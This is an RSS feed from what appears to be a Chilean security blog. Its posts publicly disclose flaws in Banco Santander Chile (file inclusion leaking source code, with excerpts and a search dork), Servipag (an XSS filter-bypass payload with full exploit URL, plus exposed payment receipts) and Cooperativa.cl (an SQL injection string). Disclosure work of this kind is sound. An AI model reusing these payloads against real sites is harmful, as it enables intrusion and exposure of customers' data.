<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>El rincón de Zerial &#187; inseguridad</title>
	<atom:link href="http://blog.zerial.org/tag/inseguridad/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.zerial.org</link>
	<description>Informática, GNU/Linux, Seguridad, Hacking, Programación, Ocio</description>
	<lastBuildDate>Tue, 03 Jan 2012 00:13:53 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Acceso al codigo fuente del Banco Santander Chile</title>
		<link>http://blog.zerial.org/seguridad/acceso-al-codigo-fuente-del-banco-santander-chile/</link>
		<comments>http://blog.zerial.org/seguridad/acceso-al-codigo-fuente-del-banco-santander-chile/#comments</comments>
		<pubDate>Tue, 27 Dec 2011 17:00:40 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[banco santander]]></category>
		<category><![CDATA[bancos]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[lfi]]></category>
		<category><![CDATA[local file include]]></category>
		<category><![CDATA[santander]]></category>
		<category><![CDATA[sitios vulnerables]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2868</guid>
		<description><![CDATA[Ya he publicado algunas vulnerabilidad que afectan a los clientes del Santander, esta vez escribiré sobre una vulnerabilidad que afecta directamente al Banco y que permite al atacante obtener el codigo fuente de la banca. El atacante puede navegar por los directorios en busca de los archivos &#8220;asp&#8221; y descargar el archivo, teniendo acceso al [...]]]></description>
			<content:encoded><![CDATA[<p>Ya he publicado algunas vulnerabilidad que afectan a los clientes del Santander, esta vez escribiré sobre una vulnerabilidad que afecta directamente al Banco y que permite al atacante obtener el codigo fuente de la banca. El atacante puede navegar por los directorios en busca de los archivos &#8220;asp&#8221; y descargar el archivo, teniendo acceso al codigo fuente del sistema.</p>
<p>Se trata de una vulnerabilidad <strong>Local File Include</strong> +<strong> Directory Traversal</strong> = <strong>Source Code Disclosure</strong>, solo debemos modificar el valor de una variable de la URL para obtener el archivo que necesitemos. Se trata de un fallo basico e irresponsable que ningun alto estandar de seguridad permite.</p>
<p>Lo curioso es que segun el <a href="http://www.santander.cl/campanas/aviso_seguridad_b/index.asp?o=emp_melat">aviso de seguridad oficial del banco santander</a>, hay una empresa &#8220;lider&#8221; en seguridad informática que les hace auditoría periodica:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/12/avisoseg.png"><img class="aligncenter size-full wp-image-2869" title="avisoseg" src="http://blog.zerial.org/wp-content/uploads/2011/12/avisoseg.png" alt="" width="529" height="220" /></a></p>
<p>Cierto, parece un chiste.<br />
<span id="more-2868"></span></p>
<p>La vulnerabilidad está presente en el archivo &#8220;VerRentabilidad.asp&#8221;, que sirve para ver la rentabilidad de &#8220;algo&#8221;. El archivo necesita que se le entregue una variable &#8220;Numero&#8221;, al cual debemos pasarle especificamente un archivo y será descargado.<br />
Al ver el código fuente de ese archivo, podemos ver que no tiene ningun tipo de validación al momento de realizar la descarga</p>
<pre name="code" class="c">
        nombrePDF=Request("Numero")
        Archivo= "\Rentabilidad" &#038; nombrePDF
        ruta=SERVER.MapPath("/transa/productos/fm") &#038; Archivo
        'Response.Write ruta
        'Response.End
        if not ValidaArchivo(ruta) then
                Response.Redirect("InvMostrarError.asp?tipo=F")
        else
                objStream.Type = 1 'adtypeBinary
                objStream.Open
                objStream.LoadFromFile(ruta)
                Response.contentType="application/pdf"
                Response.AddHeader "content-disposition", "inline;filename=" &#038; nombrePDF
                Response.BinaryWrite objStream.Read
                Response.Flush
                ObjStream.Close
                set objStream=nothing

        end if
</pre>
<p>En la línea 01 almacena en la variable &#8220;nombrePDF&#8221; el valor que le entegamos por URL mediante la variable &#8220;Numero&#8221;, en la variable 06 podemos ver una validación que claramente no funciona o bien no es suficiente, por lo que se ejecutan las lineas siguientes, iniciando la descarga del archivo por el lado del cliente.</p>
<p>Explotando esta vulnerabilidad podemos navegar por los directorios, obtener el listado de archivos, realizar descargas arbitrarias, etc.</p>
<p>Conociendo el arbol de directorios, ya podemos comenzar a descargar uno por uno los archivos de sistema</p>
<blockquote><p>transa/<br />
transa/ErrorDB/<br />
transa/DHS/<br />
transa/solicitud/<br />
transa/include/<br />
transa/Productos/<br />
transa/Productos/include/<br />
transa/preerror.asp<br />
transa/logteclado.asp<br />
transa/FuncBanco.asp<br />
transa/common.asp<br />
transa/cruce.asp<br />
transa/ErrorDB/LogHOB.asp<br />
transa/DHS/Constantes.asp<br />
transa/DHS/DHSFuncs.asp<br />
transa/solicitud/constantes_campana.asp<br />
transa/include/ReadWriteSesion.asp<br />
transa/include/TrampHBFC.asp<br />
transa/include/prodini.asp<br />
transa/Productos/include/ProdMenu.asp</p></blockquote>
<p>Por ejemplo, <strong>ReadWriteSesion.asp</strong>:</p>
<pre name="code" class="c">
ub EscribirArchivo(NameArr, Objeto, URL)
	Dim fecha, path_archivo, linea
	Dim fs, Fd

	Application.lock
	fecha = year(now()) &#038; right("00"&#038;month(now()),2) &#038; right("00"&#038;day(now()),2)
	path_archivo = left(Application("PATHINICONECT"),7) &#038; "ErrorEstComp" &#038; NameArr &#038; fecha &#038; ".txt"
	Linea = "	URL = " &#038; URL
	Linea = Linea &#038; "	Detalle = " &#038; Objeto
	linea = fecha&#038;";"&#038; TimeValue(now()) &#038;";" &#038; linea
	Set fs = CreateObject("Scripting.FileSystemObject")
	Set fd = fs.OpenTextFile(path_archivo, 8, True, False)
	fd.WriteLine(linea)
	fd.close
	set fs = nothing
    Application.unlock

End Sub

Sub ProblemaTecnico

	session("CARPETACLIENTE") = ""
	session("rut") = ""
	session("dig") = ""

[...]
Function NomSession(Param)
' Compatibiliza Nombres de session antiguos por nuevos
Dim RealParam
Select Case UCase(Param)
   Case UCase("APaternoPNJPE07"): RealParam = "ApellidoPaterno"
   Case UCase("AMaternoPNJPE07"): RealParam = "ApellidoMaterno"
   Case UCase("NombresPNJPE07"): RealParam = "Nombres"
   Case UCase("subsegmento"): RealParam = "Segmento/subsegmento"
   Case UCase("MwPeCodCar"): RealParam = "Segmento/MwPeCodCar"
   Case UCase("nom_seg"): RealParam = "Segmento/NombreSegmento"
   Case UCase("clasificadas"): RealParam = "cla"
   Case UCase("IDLogin"): RealParam = "IDL"
   Case UCase("webmatico"): RealParam = "wbmat"
   Case UCase("OpcTef"): RealParam = "TipoTef"
   Case UCase("TipoURL"): RealParam = "Tipo"
   Case UCase("Op_campana"): RealParam = "Op_camp"
   Case UCase("Url_campana"): RealParam = "Url_camp"
   Case UCase("rut"): RealParam = "RUT"
   Case Else
    RealParam = Param
End Select
NomSession = RealParam
End function
</pre>
<p>Otor ejemplo, el archivo <strong>cruce.asp</strong>:</p>
<pre name="code" class="c">
'****************************
'* Manejo de webmatico
'****************************

EsWebMatico = request.Cookies("webmatico")

if (TRIM(LCASE(EsWebMatico))="si" and Ucase(login) <> "BANCOSANTANDER" and Ucase(login) <> "SANTIAGOEXPRESS") then
        path_inicio = "webkio/bcolinea.asp"
        path_sinper = "../mensaje.htm"
        path_error  = "preerror.asp"
        path_cclave = "/transa/Cclave/fclave.asp"
        path_producto = "productos.asp"
        EsWebMatico = "si"
else
        path_inicio = SECWEBNAME &#038; "/transa/partida.asp"
        path_sinper = SECWEBNAME &#038; "/transa/sinpersona.htm"
        path_error  = "preerror.asp"
        path_cclave = "/transa/Cclave/fclave.asp"
        path_producto = "productos.asp"
        EsWebMatico = "no"
end if

'******** fin webmatico *********

'****************************************************************************
'*** Obtiene Rut y Ping del Cliente             *************************************
'****************************************************************************
  rut= ucase(trim(Request.Form("rut")))                          'recibe el rut
  pin= trim(Request.Form("pin"))                                 'recibe el pin
  utv= trim(Request.Form("usateclado"))                          'recibe el uso de teclado virtual
  ven= trim(Request.Form("dondeentro"))
  rslAlto= trim(Request.Form("rslAlto"))                            'resolución pantalla browser del cliente
  rslAncho= trim(Request.Form("rslAncho"))                          'resolución pantalla browser del cliente

  state = 0
  if rut <> "" then
    state = verificador(rut)                                'revisa el digito verificador
  end if
'****************************************************************************

  If rut <> "" and pin <> "" and state = 0 and len(pin) = 4 then         'Si esta todo bien

                '**************************************************************************
                '**** Consulta si Cliente si Esta Bloqueado por 60 Minutos      ***************
                '**************************************************************************
</pre>
<p>Segun lo que podemos leer en los comentarios del codigo fuente, corresponde a un desarrollo del año 2006, estamos casi en el 2012. El Banco Santander, ademas de mentirle a sus clientes y usuarios diciendoles que es un sitio seguro, fue denominado como el <a href="http://www.santander.cl/campanas/pi_mejor_banco/index.asp?o=ebinf">sistema de banco mas seguro de latinoamerica</a>.</p>
<p>A todas las personas que lean este artículo:<br />
- El banco santander NO es el mas seguro, probablemente sea el mas inseguro.<br />
- Una falla de seguridad de este tipo no puede ser permitida, es una vulnerabilidad demasiado CRITICA como para que un banco la tenga presente.<br />
- El Banco no implementa las mejores ni las ultimas tecnologias, tampoco implementa los ultimos estandares de seguridad. Usan tecnologias obsoletas y poco robustas.<br />
- Esta es una vulnerabilidad que afecta al banco y que podria eventualmente afectar a TODOS sus clientes. El atacante que acceda a informacion como el codigo fuente de un sistema, probablemente pueda acceder a otro tipo de informacion.<br />
- No es la unica vulnerabilidad que existe en este banco, ya he hecho publicar por lo menos 4 otras.<br />
- Que el banco tenga un certificado de un millon de bits, no lo hace mas seguro.</p>
<p>A los encargados de seguridad de los bancos u otras entidades:<br />
- La seguridad no es unicamente enviar emails y dar consejos tipo &#8220;no abras links&#8221;<br />
- La seguridad de tu institucion no depende de un certificado SSL.</p>
<p>Los encargados de seguridad de este banco no pueden hacer oidos sordos a este tipo de anuncios, son vulnerabilidades presentes hace mas de 1 año. Pesonalmente llevo mas de 1 año intentando reportar por distintos medios este tipo de fallas. Es una falta de respeto hacia los clientes.<br />
Ademas, la vulnerabilidad está indexada por Google, hagan la siguiente busqueda:<br />
<a href="http://www.google.cl/search?q=site%3Asantander.cl+inurl%3AVerRentabilidad&#038;ie=utf-8&#038;oe=utf-8&#038;aq=t&#038;rls=org.mozilla:en-US:official"><strong>site:santander.cl inurl:VerRentabilidad</strong></a><br />
No es necesario estar logueado en el sistema para poder explotarla.</p>
<p>Solo me queda una pregunta&#8230; <strong>¿Cual será esa empresa LIDER en seguridad informática que audita el sistema del Santander?</strong></p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Facceso-al-codigo-fuente-del-banco-santander-chile%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/acceso-al-codigo-fuente-del-banco-santander-chile/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/acceso-al-codigo-fuente-del-banco-santander-chile/"  data-text="Acceso al codigo fuente del Banco Santander Chile" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/acceso-al-codigo-fuente-del-banco-santander-chile/feed/</wfw:commentRss>
		<slash:comments>65</slash:comments>
		</item>
		<item>
		<title>Servipag: Nuevamente vulnerable a Cross-Site Scripting</title>
		<link>http://blog.zerial.org/seguridad/servipag-nuevamente-vulnerable-a-cross-site-scripting/</link>
		<comments>http://blog.zerial.org/seguridad/servipag-nuevamente-vulnerable-a-cross-site-scripting/#comments</comments>
		<pubDate>Mon, 12 Sep 2011 13:01:32 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[servipag]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2653</guid>
		<description><![CDATA[Así es, el portal chileno de pagos en línea más seguro nuevamente es vulnerable a XSS. Esta vez se trata de la página de registro de usuarios, modificando el valor de la variable &#8220;Rut&#8221; es posible inyectar código javascript y poner en riesgo al usuario. El sitio web de Servipag se ha caracterizado ultimamente por [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/servipag_xsssept.png"><img class="aligncenter size-full wp-image-2657" title="servipag_xsssept" src="http://blog.zerial.org/wp-content/uploads/2011/09/servipag_xsssept.png" alt="" width="482" height="393" /></a></p>
<p>Así es, el <strong>portal chileno de pagos en línea más seguro</strong> nuevamente es vulnerable a XSS. Esta vez se trata de la página de registro de usuarios, modificando el valor de la variable &#8220;Rut&#8221; es posible inyectar código javascript y poner en riesgo al usuario.</p>
<p>El sitio web de Servipag se ha caracterizado ultimamente por tener una serie de vulnerabilidades criticas que afectan al servidor donde se encuentra el sitio web y tambien a los usuarios, poniendo en riesgo información sensible sobre sus clientes. Según una declaración de Servipag mediante su twitter, los &#8220;XSS visual&#8221; no afectan al usuario:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/xss_visual.png"><img class="aligncenter size-full wp-image-2654" title="xss_visual" src="http://blog.zerial.org/wp-content/uploads/2011/09/xss_visual.png" alt="" width="515" height="339" /></a></p>
<p>Como a ellos no les preocupan los XSS, publicaré con detalles la vulnerabilidad.</p>
<p><span id="more-2653"></span></p>
<p>La vulnerabilidad se encuentra especificamente en la URL <strong>http://www.servipag.com/browse.asp?pagina=web/registro1.htm</strong>. El sitio autocompleta el campo &#8220;rut&#8221; según el valor pasado por GET mediante la variable &#8220;Rut&#8221;, por ejemplo, si ingresamos a <strong>http://www.servipag.com/browse.asp?pagina=web/registro1.htm&amp;Rut=1313&amp;BuscaDatos=2</strong> veremos que nos completa el rut de la siguiente forma</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/servipag_1313.png"><img class="aligncenter size-full wp-image-2656" title="servipag_1313" src="http://blog.zerial.org/wp-content/uploads/2011/09/servipag_1313.png" alt="" width="254" height="83" /></a></p>
<p>Y si vemos el código fuente, nos muestra:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/servipag_xsssrc.png"><img class="aligncenter size-full wp-image-2659" title="servipag_xsssrc" src="http://blog.zerial.org/wp-content/uploads/2011/09/servipag_xsssrc.png" alt="" width="260" height="99" /></a>Por lo tanto, si en lugar de &#8220;Rut=1313&#8243; pusieramos una rutina javascript, debería ejecutarse al momento de llamar a la función &#8220;Reset()&#8221;, sin embargo, el desarrollador de servipag puso un <span style="text-decoration: line-through;">estúpido</span> inutil filtro que es <strong>demasiado</strong> fácil saltarse. Lo que haremos es terminar la función y hacer que se ejecute el código que nosotros queramos al momento de cargar la página, para esto añadimos &#8216;; al principio del valor que le daremos a Rut y comentaremos todo lo que venga despues de nuestra inyección, para lograr que se ejecute sin errores el javascript.</p>
<p>La sintáxis que usaremos para explotar la vulnerabilidad será <strong>1212&#8242;;}/**/window.stop();confirm(/Servipag_XSS_10_de_Septiembre_19:24?/);/*</strong> la cual nos generará un código fuente similar a:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/servipag_xsssrc2.png"><img class="aligncenter size-full wp-image-2660" title="servipag_xsssrc2" src="http://blog.zerial.org/wp-content/uploads/2011/09/servipag_xsssrc2.png" alt="" width="654" height="89" /></a></p>
<p>Provocando el XSS que estabamos buscando. De esta forma es posible burlar los filtros puestos por los desarrolladores del portal de pagos más seguro (ironía), pudiendo redireccionar al usuario a un sitio malicioso, robar las cookies, etc.</p>
<p>Finalmente, la URL vulnerable es <a href="http://www.servipag.com/browse.asp?pagina=web/registro1.htm&amp;Rut=1212';}/**/window.stop();confirm(/Servipag_XSS?/);/*='&amp;BuscaDatos=2" target="_blank"><strong>http://www.servipag.com/browse.asp?pagina=web/registro1.htm&amp;Rut=1212&#8242;;}/**/window.stop();confirm(/Servipag_XSS?/);/*=&#8217;&amp;BuscaDatos=2</strong></a>.</p>
<p><strong>ACTUALIZADO (12 DE SEPT 14:08hrs)</strong></p>
<p>Como es de costumbre con esta gente de Servipag, el problema ha sido solucionado minutos luego de haberlo publicado, sin embargo, no son capaces de responder los correos donde se envian reportes de estas vulnerabilidades.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fservipag-nuevamente-vulnerable-a-cross-site-scripting%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/servipag-nuevamente-vulnerable-a-cross-site-scripting/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/servipag-nuevamente-vulnerable-a-cross-site-scripting/"  data-text="Servipag: Nuevamente vulnerable a Cross-Site Scripting" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/servipag-nuevamente-vulnerable-a-cross-site-scripting/feed/</wfw:commentRss>
		<slash:comments>20</slash:comments>
		</item>
		<item>
		<title>Servipag: Continua siendo un portal de pagos inseguro</title>
		<link>http://blog.zerial.org/seguridad/servipag-continua-siendo-un-portal-de-pagos-inseguro/</link>
		<comments>http://blog.zerial.org/seguridad/servipag-continua-siendo-un-portal-de-pagos-inseguro/#comments</comments>
		<pubDate>Sat, 27 Aug 2011 19:46:19 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Privacidad]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[data leak]]></category>
		<category><![CDATA[information leak]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[privacidad]]></category>
		<category><![CDATA[servipag]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2637</guid>
		<description><![CDATA[Pasa el tiempo y, luego de haber reportado las vulnerabilidades que afectaban a Servipag, siguen apareciendo nuevas vulnerabilidades que afectan al portal de pagos. Esta vez se trata de 2 nuevas vulnerabilidades, una reportada en Secureless, que atenta contra la privacidad de los usuarios, permitiendo que cualquier persona pueda acceder a los comprobantes de pago [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/servipwned.png"><img class="aligncenter size-full wp-image-2520" title="servipwned" src="http://blog.zerial.org/wp-content/uploads/2011/07/servipwned.png" alt="" width="271" height="90" /></a></p>
<p>Pasa el tiempo y, luego de haber reportado <a href="http://blog.zerial.org/seguridad/servipag-cl-el-portal-chileno-de-pagos-online-mas-inseguro/">las vulnerabilidades que afectaban a Servipag</a>, siguen apareciendo nuevas vulnerabilidades que afectan al portal de pagos. Esta vez se trata de 2 nuevas vulnerabilidades, una <a href="http://www.secureless.org/vulnerability/2012/">reportada en Secureless</a>, que atenta contra la privacidad de los usuarios, permitiendo que cualquier persona pueda acceder a los comprobantes de pago de cada cliente, simplemente moficiando una variable en la URL, la segunda se trata de un XSS en el mismo sitio del comprobante de pago.</p>
<p>Servipag continua diciendo que sus politicas y tecnologías de seguridad son en base a altos estandares nacionales e internacionales y segun ellos, las vulnerabilidades que existen no ponen en riesgo la informacion de los usuarios, ya que todo el proceso de compra/pago y transaccion no se hacen directamente en los servidores de ellos &#8230; PERO, sorpresa, ellos guardan un comprobante de pago de forma local, pudiendo acceder a TODOS los comprobantes de pagos de quienes usen el servicio, sean o no usuarios registrados.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/srvpag_comprob1.png"><img class="aligncenter size-full wp-image-2638" title="srvpag_comprob1" src="http://blog.zerial.org/wp-content/uploads/2011/08/srvpag_comprob1.png" alt="" width="572" height="373" /></a></p>
<p><strong>Que tipo de información podemos ver aqui?</strong></p>
<p>1. Se refiere al &#8220;cliente&#8221; como &#8220;Usuario&#8221;, lo mas probable que no esté registrado en servipag, de lo contrario mostraría el nombre.<br />
2. El banco mediante el cual se hace el pago.<br />
3. Empresa o servicio que se paga.<br />
4. Monto, fecha y ID del pago realizado.</p>
<p>Con esta información es posible relacionar a personas con un banco especifico y ademas con el consumo de un servicio, en una fecha especifica. Esta información podría ser útil para enviarle una trampa al usuario, un correo fake (phishing) con datos reales como su nombre, banco al que pertenece, servicios que consume, fechas en las que hace el pago &#8230; en fin, una serie de información que nadie tendría que saber.</p>
<p><span id="more-2637"></span></p>
<p>Si jugamos modificando el Id del comprobante de pago, podemos encontrar datos reales, como es el caso del <strong>68012208</strong>:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/srvpag_comprob2.png"><img class="aligncenter size-full wp-image-2641" title="srvpag_comprob2" src="http://blog.zerial.org/wp-content/uploads/2011/08/srvpag_comprob2.png" alt="" width="563" height="347" /></a>Una persona, cuyo  nombre aparece en el comprobante, que tiene cuenta en el banco estado y es cliente de Movistar.</p>
<p><strong>No es esto poner en riesgo los datos de los usuarios?</strong></p>
<p>La otra vulnerabilidad encontrada, se trata de un XSS que afecta a este mismo sitio donde se muestra el comprobante de pago. Nuevamente, es posible saltarse los filtros -parecen de juguete- que los desarrolladores pusieron, pudiendo inyectar código Javascript o HTML.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/xss_servipag.png"><img class="aligncenter size-full wp-image-2643" title="xss_servipag" src="http://blog.zerial.org/wp-content/uploads/2011/08/xss_servipag.png" alt="" width="572" height="252" /></a></p>
<p><strong>Cual es el potencial riesgo de estas dos vulnerabilidades juntas?</strong></p>
<p>Es simple, solo con un poco de imaginación podemos crear una pagina de pago falsa y usar los datos de los clientes obtenidos desde su comprobante de pagos para enviar un correo malicioso insitando a que el usuario caiga en una trampa, para poder robarle información privada como usuarios, claves, etc.</p>
<p>Nuevamente, <strong>Servipag NO está cumpliendo con entregar un servicio seguro a sus clientes.</strong></p>
<p><strong>ACTUALIZADO</strong> Al parecer Servipag ya solucionó el problema del comprobante, ya que al intentar ver un comprobante de pago muestra un mensaje que la información no está disponible. Esperemos que no sea una solución trucha. El XSS siguen existiendo:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/xss_serv.png"><img class="aligncenter size-full wp-image-2650" title="xss_serv" src="http://blog.zerial.org/wp-content/uploads/2011/08/xss_serv.png" alt="" width="425" height="336" /></a></p>
<p>Las vulnerabilidades fueron reportadas el dia sabado, pero no respondieron .. Intentaron solucionar los problemas silenciosamente, pero solo pudieron solucionar uno.</p>
<p><strong>ACTUALIZADO (6 de Septiembre)</strong><br />
Luego de semanas de haberlo reportado por correo y sin tener respuesta, me decidí a publicar la vulnerabilidad XSS para &#8220;obligarlos&#8221; a corregirla. Luego de publicarla, no pasaron ni 20 minitos y fue solucionada:</p>
<p><a href="http://www.secureless.org/vulnerability/2034/">http://www.secureless.org/vulnerability/2034/</a></p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fservipag-continua-siendo-un-portal-de-pagos-inseguro%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/servipag-continua-siendo-un-portal-de-pagos-inseguro/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/servipag-continua-siendo-un-portal-de-pagos-inseguro/"  data-text="Servipag: Continua siendo un portal de pagos inseguro" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/servipag-continua-siendo-un-portal-de-pagos-inseguro/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Vulnerabilidades en Cooperativa.cl: Saltándose los filtros.</title>
		<link>http://blog.zerial.org/seguridad/vulnerabilidades-en-cooperativa-cl-saltandose-los-filtros/</link>
		<comments>http://blog.zerial.org/seguridad/vulnerabilidades-en-cooperativa-cl-saltandose-los-filtros/#comments</comments>
		<pubDate>Wed, 17 Aug 2011 13:58:39 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cooperativa]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[filtros]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[protecciones]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[sql-i]]></category>
		<category><![CDATA[sqli]]></category>
		<category><![CDATA[vulnerabilidades]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2579</guid>
		<description><![CDATA[Ya vimos en el caso de Servipag unos filtros de protección anti LFI inútiles, ahora es el turno de uno de los sitios web de Cooperativa.cl, el cual implementa unos filtros de protección anti-XSS y anti-SQLi bastante vergonzosos y obviamente de &#8220;protección&#8221; no tiene nada. El sitio afectado corresponde al subdominio &#8220;musica.cooperativa.cl&#8221; el cual es [...]]]></description>
			<content:encoded><![CDATA[<p>Ya vimos en <a href="http://blog.zerial.org/seguridad/servipag-cl-el-portal-chileno-de-pagos-online-mas-inseguro/">el caso de Servipag</a> unos filtros de protección anti LFI inútiles, ahora es el turno de uno de los sitios web de Cooperativa.cl, el cual implementa unos filtros de protección anti-XSS y anti-SQLi bastante vergonzosos y obviamente de &#8220;protección&#8221; no tiene nada.<br />
El sitio afectado corresponde al subdominio &#8220;<strong>musica.cooperativa.cl</strong>&#8221; el cual es vulnerable a inyección de código sql y cross site scripting.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_musica.png"><img class="aligncenter size-full wp-image-2582" title="cooperativa_musica" src="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_musica.png" alt="" width="617" height="88" /></a></p>
<p>La vulnerabilidad se encuentra en el archivo <strong>disco.php</strong> mediante la variable <strong>id</strong>. Es posible generar un error facilmente ingresando una comilla simple (&#8216;):</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_1.png"><img class="aligncenter size-full wp-image-2584" title="cooperativa_1" src="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_1.png" alt="" width="398" height="90" /></a></p>
<p>Hasta el momento el &#8220;<strong>filtro</strong>&#8221; escapa el la comilla y anteponiendo un <em>backslash</em> (\), intentamos hacer el típico SQL Injection para obtener información sobre la base de datos usando <strong>&#8216;+or 1=+ union+select+database(),user()+&#8211;+</strong> y obtenemos como resultado <strong>&#8220;Error select * from disco where id=3342\&#8217;  1=    (),() &#8211;&#8221;</strong></p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_2.png"><img class="aligncenter size-full wp-image-2585" title="cooperativa_2" src="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_2.png" alt="" width="633" height="86" /></a></p>
